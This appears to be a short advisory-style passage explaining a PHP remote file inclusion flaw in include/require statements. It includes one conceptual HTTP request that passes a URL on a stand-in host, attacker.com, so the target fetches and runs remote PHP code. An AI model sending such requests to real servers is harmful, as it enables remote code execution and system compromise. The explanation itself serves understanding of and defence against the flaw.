How the Exploit Works
The exploit works by taking advantage of the improper control of a filename in PHP’s Include/Require statement. By injecting a malicious filename, an attacker can remotely include a file from a remote server. This allows the attacker to execute arbitrary PHP code, potentially compromising the system or leading to data leakage.
Conceptual Example Code
An attacker might exploit this vulnerability through a malicious HTTP request that includes a remote file. Here’s a conceptual example:
GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this example, `malicious_file.php` is a file on the attacker’s server which contains malicious PHP code. If the target server processes this request, it could include and execute the malicious file, leading to a potential system compromise.
